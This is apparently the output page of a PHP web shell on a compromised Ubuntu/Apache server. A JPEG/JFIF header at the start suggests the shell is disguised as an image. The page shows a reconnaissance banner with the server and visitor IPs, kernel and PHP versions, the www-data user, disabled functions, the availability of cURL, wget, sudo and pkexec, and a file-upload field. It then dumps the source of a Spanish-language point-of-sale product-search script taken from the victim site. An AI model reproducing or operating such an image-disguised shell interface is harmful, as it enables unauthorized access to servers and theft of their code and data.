����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.139.239.109 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/action/ |
Upload File : |
<?php $cambiarprecio_val = ConfigurationData::getByPreffix("cambiarprecio_val")->val; $ventarapida_val = ConfigurationData::getByPreffix("ventarapida_val")->val; ?> <?php if((isset($_GET["product"]) && $_GET["product"]!="") || (isset($_GET["code"]) && $_GET["code"]!="") ):?> <?php $go = $_GET["go"]; $search =""; if($go=="code") { $search=$_GET["code"]; $products = ProductData::getBycode2($search); } else if($go=="name") { $search=$_GET["product"]; $products = ProductData::getLike($search); } if(count($products)>0){ ?> <h3>Resultados de la Busqueda</h3> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead> <th>#</th> <th>codigo</th> <th>Nombre</th> <th>imagen</th> <th>Precio unitario</th> <th>Ultima Compra</th> <th>Operaciones</th> </thead> <?php $products_in_cero=0; foreach($products as $product): $q= OperationData::getQByStock($product->id,StockData::getPrincipal()->id); $q2= OperationData2::getQByStock($product->id,StockData::getPrincipal()->id); $qt = $q+$q2; $ototal = -1*OperationData::GetOutputQYesF($product->id); //VERSION 3.6 $itotal = OperationData::GetInputQByStock($product->id,StockData::getPrincipal()->id); $itotal2 = OperationData2::GetInputQByStock($product->id,StockData::getPrincipal()->id); //sumamos las entrdas $entradas = $itotal2; //ventas en tabla t_sale_detail $operations3 = OperationData::getByc2($product->name); $totalV=0; foreach($operations3 as $op) { $totalV = $totalV + $op->qty; } //ventas en tabla t_sale_detail $ordenes_Compra = OperationData2::getAllByProductIdAndStock_OC($product->barcode,1); $OC=0; foreach($ordenes_Compra as $op) { $OC = $OC + $op->q; } echo $OC; ?> <?php if($qt>0):?> <tr class="<?php if($qt<=$product->inventary_min){ echo "danger"; }?>"> <td><?php echo $product->id; ?></td> <td><?php echo $product->barcode; ?></td> <td><?php echo $product->name; ?></td> <td> <?php if($product->image!=""):?> <a href=""><img src="storage/products/<?php echo $product->image;?>" width="75" height="75"></a> <a href="?view=ventana&code=<?php echo $product->id;?>" target="_blank" onClick="window.open(this.href, this.target, 'width=400,height=600', directories=0, menubar=0,scrollbars=0,resizable=0); return false;">Zoom</a> <?php endif;?> </td> <td> <b>$ <?php echo number_format($product->price_out,2,".",","); ?></b> </td> <td> <?php echo $entradas-$totalV + $OC; ?> </td> <td style="width:250px;"><form method="post" action="index.php?view=addtocart"> <input type="hidden" name="product_id" value="<?php echo $product->id; ?>"> <div class="input-group"> <button class="btn btn-warning"><a href="index.php?view=editproduct&id=<?php echo $product->id; ?>" class="btn btn-xs btn-warning"><i class="glyphicon glyphicon-pencil"></i>Editar</a></button> <button class="btn btn-info"><a href="index.php?view=history&product_id=<?php echo $product->id; ?>&stock=1" class="btn btn-xs btn-info"><i class="glyphicon glyphicon-trash"></i>Historial</a></button> <button class="btn btn-success" title="Surtir producto"><a href="index.php?view=re&product=&code=<?php echo $product->barcode; ?>" class="btn btn-xs btn-success"><i class="glyphicon glyphicon-repeat">COMPRAR</i></a></button> </div> <td style="width:100px;"><a href="#" id="oper-<?php echo $product->id; ?>" class="btn tip btn-xs btn-danger" title="Eliminar"><i class="glyphicon glyphicon-trash"></i></a> </td> <script> $("#oper-"+<?php echo $product->id; ?>).click(function(){ x = confirm("Estas seguro que quieres eliminar este Producto(Se Eliminara permanentemente) ??"); if(x==true){ window.location = "index.php?view=delproduct&id=<?php echo $product->id; ?>"; } }); </script> </tr> <script> function FormSubmit(){ var ventarapida = "<?php echo $ventarapida_val;?>"; var respuesta = "SI"; if( ventarapida == respuesta ){ var submitBtn = document.getElementById('submit'); if(submitBtn){ submitBtn.click(); } } } FormSubmit(); </script> </form> <?php else:$products_in_cero++; ?> <?php endif; ?> <?php endforeach;?> </table> </div> <?php if($products_in_cero>0){ echo "<p class='alert alert-warning'>Se redireccionaron <b>$products_in_cero productos</b> que no tienen existencias en el inventario. </p>"; }?> <?php foreach($products as $product): $q= OperationData::getQByStock($product->id,StockData::getPrincipal()->id); $q2= OperationData2::getQByStock($product->id,StockData::getPrincipal()->id); $qt= $q+$q2;?> <?php if($qt<=0):?> <h3>Resultados de la Busqueda Sin existencia</h3> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead> <th>#</th> <th>Codigo</th> <th>Nombre</th> <th>Ubicacion</th> <th>Precio unitario</th> <th>En inventario</th> <th>Cantidad</th> </thead> <tr class="<?php if($q<=$product->inventary_min){ echo "danger"; }?>"> <td style="width:80px;"><?php echo $product->id; ?></td> <td><?php echo $product->barcode; ?></td> <td><?php echo $product->name; ?></td> <td><?php echo $product->presentation; ?></td> <td> <b>$ <?php echo number_format($product->price_out,2,".",","); ?></b> </td> <td> <?php echo $q+$q2; ?> </td> <td style="width:250px;"><form method="post" action="index.php?view=re&product=<?php echo $product->id;?>"> <input type="hidden" name="product_id" value="<?php echo $product->id; ?>"> <div class="input-group"> <span class="input-group-btn"> <button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-plus-sign"></i>Reabastecer</button> </span> </div> </form></td> </tr> </table> </div> <?php endif; ?> <?php endforeach;?> <?php }else{ echo "<br><p class='alert alert-danger'>No se encontro el producto</p>"; } ?> <hr><br> <?php else: ?> <?php endif; ?> <?php if( ($ventarapida_val=="SI") && ($ventarapida_val=="si")):?> <script type='text/javascript'> document.forms[1].elements["price"].focus() document.forms[1].elements["price"].select() </script> <?php else: ?> <script type='text/javascript'> document.forms[1].elements["q"].focus() document.forms[1].elements["q"].select() </script> <?php endif; ?>